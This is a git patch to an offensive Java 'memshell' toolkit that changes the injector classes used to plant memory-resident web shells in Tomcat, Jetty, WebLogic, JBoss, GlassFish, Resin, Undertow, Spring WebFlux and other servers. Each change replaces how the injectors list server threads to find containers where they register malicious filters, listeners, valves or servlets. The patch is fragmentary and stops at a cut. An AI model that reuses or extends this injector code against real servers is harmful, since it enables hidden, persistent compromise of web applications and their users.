From 50a9aec83c283624f6ce6a3ff9242557d565e98f Mon Sep 17 00:00:00 2001 From: ReaJason Date: Mon, 28 Apr 2025 00:10:19 +0800 Subject: [PATCH] style: unify fetch threads --- .../SpringWebFluxHandlerFunctionInjector.java | 3 ++- .../SpringWebFluxHandlerMethodInjector.java | 3 ++- .../SpringWebFluxNettyHandlerInjector.java | 8 +++----- .../SpringWebFluxWebFilterInjector.java | 5 ++--- .../injector/XxlJobNettyHandlerInjector.java | 8 +++----- .../injector/apusic/ApusicFilterInjector.java | 3 ++- .../apusic/ApusicListenerInjector.java | 3 ++- .../injector/apusic/ApusicServletInjector.java | 3 ++- .../injector/bes/BesFilterInjector.java | 2 +- .../injector/bes/BesListenerInjector.java | 2 +- .../injector/bes/BesValveInjector.java | 2 +- .../glassfish/GlassFishFilterInjector.java | 2 +- .../glassfish/GlassFishListenerInjector.java | 2 +- .../glassfish/GlassFishValveInjector.java | 2 +- .../inforsuite/InforSuiteFilterInjector.java | 18 +++++------------- .../injector/jboss/JbossFilterInjector.java | 7 ++----- .../injector/jboss/JbossListenerInjector.java | 2 +- .../injector/jboss/JbossValveInjector.java | 2 +- .../injector/jetty/JettyFilterInjector.java | 3 ++- .../injector/jetty/JettyListenerInjector.java | 3 ++- .../injector/jetty/JettyServletInjector.java | 3 ++- .../injector/resin/ResinFilterInjector.java | 2 +- .../injector/resin/ResinListenerInjector.java | 2 +- .../injector/resin/ResinServletInjector.java | 2 +- .../injector/tomcat/TomcatFilterInjector.java | 11 +++-------- .../tomcat/TomcatListenerInjector.java | 11 +++-------- .../injector/tomcat/TomcatServletInjector.java | 6 ++---- .../injector/tomcat/TomcatValveInjector.java | 11 +++-------- .../tomcat/TomcatWebSocketInjector.java | 11 +++-------- .../tongweb/TongWebFilterInjector.java | 7 ++----- .../tongweb/TongWebListenerInjector.java | 2 +- .../injector/tongweb/TongWebValveInjector.java | 2 +- .../undertow/UndertowFilterInjector.java | 7 ++----- .../undertow/UndertowListenerInjector.java | 3 ++- .../undertow/UndertowServletInjector.java | 3 ++- .../weblogic/WebLogicFilterInjector.java | 8 ++------ .../weblogic/WebLogicListenerInjector.java | 8 ++------ .../weblogic/WebLogicServletInjector.java | 8 ++------ 38 files changed, 72 insertions(+), 118 deletions(-) diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxHandlerFunctionInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxHandlerFunctionInjector.java index 0b3b84cf..4a14d930 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxHandlerFunctionInjector.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxHandlerFunctionInjector.java @@ -10,6 +10,7 @@ import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.List; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -45,7 +46,7 @@ public class SpringWebFluxHandlerFunctionInjector { } public Object getWebHandler() throws Exception { - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getClass().getName().contains("NettyWebServer")) { Object nettyWebServer = getFieldValue(thread, "this$0"); diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxHandlerMethodInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxHandlerMethodInjector.java index 351e0d54..00f0f276 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxHandlerMethodInjector.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxHandlerMethodInjector.java @@ -13,6 +13,7 @@ import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Collection; import java.util.List; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -48,7 +49,7 @@ public class SpringWebFluxHandlerMethodInjector { } public Object getWebHandler() throws Exception { - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getClass().getName().contains("NettyWebServer")) { Object nettyWebServer = getFieldValue(thread, "this$0"); diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxNettyHandlerInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxNettyHandlerInjector.java index c1e56472..9ffd0fcb 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxNettyHandlerInjector.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxNettyHandlerInjector.java @@ -12,6 +12,7 @@ import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.SocketAddress; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -45,11 +46,8 @@ public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigu private Class handlerClass; public Object getNettyServer() throws Exception { - ThreadGroup group = Thread.currentThread().getThreadGroup(); - Field threads = group.getClass().getDeclaredField("threads"); - threads.setAccessible(true); - Thread[] allThreads = (Thread[]) threads.get(group); - for (Thread thread : allThreads) { + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { if (thread.getClass().getName().contains("NettyWebServer")) { return thread; } diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxWebFilterInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxWebFilterInjector.java index d875e7be..9231707f 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxWebFilterInjector.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxWebFilterInjector.java @@ -12,6 +12,7 @@ import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.List; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -47,9 +48,7 @@ public class SpringWebFluxWebFilterInjector { } public FilteringWebHandler getWebHandler() throws Exception { - Method getThreads = Thread.class.getDeclaredMethod("getThreads"); - getThreads.setAccessible(true); - Thread[] threads = (Thread[]) getThreads.invoke(null); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getClass().getName().contains("NettyWebServer")) { Object nettyWebServer = getFieldValue(thread, "this$0"); diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/xxljob/injector/XxlJobNettyHandlerInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/xxljob/injector/XxlJobNettyHandlerInjector.java index 4f8fa32b..a0b7f833 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/xxljob/injector/XxlJobNettyHandlerInjector.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/xxljob/injector/XxlJobNettyHandlerInjector.java @@ -15,6 +15,7 @@ import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashSet; +import java.util.Set; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.ThreadPoolExecutor; import java.util.concurrent.TimeUnit; @@ -81,11 +82,8 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { if (thread != null && thread.getName().contains("nioEventLoopGroup")) { Object target; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java index 5f6c75a9..82a3a356 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java @@ -8,6 +8,7 @@ import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.List; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -46,7 +47,7 @@ public class ApusicFilterInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("HouseKeeper")) { contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java index d73d75c7..82d173c5 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java @@ -7,6 +7,7 @@ import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.List; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -44,7 +45,7 @@ public class ApusicListenerInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("HouseKeeper")) { contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java index bd92da6b..3334f168 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java @@ -7,6 +7,7 @@ import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.List; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -45,7 +46,7 @@ public class ApusicServletInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("HouseKeeper")) { contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java index a9a55d63..e6a6f44f 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java @@ -47,7 +47,7 @@ public class BesFilterInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java index c41581e4..b3b16e10 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java @@ -43,7 +43,7 @@ public class BesListenerInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java index ebe52605..f64251ff 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java @@ -39,7 +39,7 @@ public class BesValveInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java index d4acfea2..69550c95 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java @@ -46,7 +46,7 @@ public class GlassFishFilterInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishListenerInjector.java index 438c7ec1..1a767941 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishListenerInjector.java @@ -43,7 +43,7 @@ public class GlassFishListenerInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java index 94304f4c..0aa0c28b 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java @@ -39,7 +39,7 @@ public class GlassFishValveInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java index c12f5f5b..eb807e61 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java @@ -6,10 +6,7 @@ import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; +import java.util.*; import java.util.logging.Logger; import java.util.zip.GZIPInputStream; @@ -49,18 +46,13 @@ public class InforSuiteFilterInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); - for (Object key : childrenMap.keySet()) { - Map children = (Map) getFieldValue(childrenMap.get(key), "children"); - for (Object key1 : children.keySet()) { - Object context = children.get(key1); - if (context != null) { - contexts.add(context); - } - } + for (Object value : childrenMap.values()) { + HashMap children = (HashMap) getFieldValue(value, "children"); + contexts.addAll(children.values()); } } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossFilterInjector.java index 31d84737..50cbcfa5 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossFilterInjector.java @@ -6,10 +6,7 @@ import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.Collection; -import java.util.List; -import java.util.Map; +import java.util.*; import java.util.zip.GZIPInputStream; @@ -48,7 +45,7 @@ public class JbossFilterInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossListenerInjector.java index 9e8f6f16..48d9fbc6 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossListenerInjector.java @@ -40,7 +40,7 @@ public class JbossListenerInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossValveInjector.java index 23c75759..a69abb57 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossValveInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossValveInjector.java @@ -39,7 +39,7 @@ public class JbossValveInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java index b93e8bad..b45c4e6b 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java @@ -6,6 +6,7 @@ import java.io.IOException; import java.lang.reflect.*; import java.util.ArrayList; import java.util.List; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -108,7 +109,7 @@ public class JettyFilterInjector { private List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { // jetty 6 diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java index 62994952..4e1fc679 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java @@ -10,6 +10,7 @@ import java.lang.reflect.Method; import java.util.ArrayList; import java.util.EventListener; import java.util.List; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -45,7 +46,7 @@ public class JettyListenerInjector { private List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { // jetty 6 diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java index 1f59ac9a..38028096 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java @@ -7,6 +7,7 @@ import java.lang.reflect.*; import java.util.ArrayList; import java.util.List; import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -53,7 +54,7 @@ public class JettyServletInjector { private List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { // jetty 6 diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java index 35aee5e1..104894af 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java @@ -43,7 +43,7 @@ public class ResinFilterInjector { public List getContext() throws Exception { Set contexts = new HashSet(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { Class servletInvocationClass = null; try { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java index d005defa..cbe478de 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java @@ -41,7 +41,7 @@ public class ResinListenerInjector { public List getContext() throws Exception { Set contexts = new HashSet(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { Class servletInvocationClass = null; try { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java index e4cc1ab7..2bdb220b 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java @@ -44,7 +44,7 @@ public class ResinServletInjector { public List getContext() throws Exception { Set contexts = new HashSet(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { Class servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java index 180df32d..7b333f8c 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java @@ -6,10 +6,7 @@ import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -52,15 +49,13 @@ public class TomcatFilterInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); for (Object value : childrenMap.values()) { HashMap children = (HashMap) getFieldValue(value, "children"); - for (Object context : children.values()) { - contexts.add(context); - } + contexts.addAll(children.values()); } } else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java index d47cd7d0..45458183 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java @@ -5,10 +5,7 @@ import java.io.ByteArrayOutputStream; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.HashMap; -import java.util.List; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -47,15 +44,13 @@ public class TomcatListenerInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); for (Object value : childrenMap.values()) { HashMap children = (HashMap) getFieldValue(value, "children"); - for (Object context : children.values()) { - contexts.add(context); - } + contexts.addAll(children.values()); } } else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java index 9281e8e2..bc1b587c 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java @@ -45,15 +45,13 @@ public class TomcatServletInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); for (Object value : childrenMap.values()) { HashMap children = (HashMap) getFieldValue(value, "children"); - for (Object context : children.values()) { - contexts.add(context); - } + contexts.addAll(children.values()); } } else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java index 47abbcfc..882015c4 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java @@ -5,10 +5,7 @@ import java.io.ByteArrayOutputStream; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.HashMap; -import java.util.List; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -49,15 +46,13 @@ public class TomcatValveInjector { public List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); for (Object value : childrenMap.values()) { HashMap children = (HashMap) getFieldValue(value, "children"); - for (Object context : children.values()) { - contexts.add(context); - } + contexts.addAll(children.values()); } } else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") diff --git 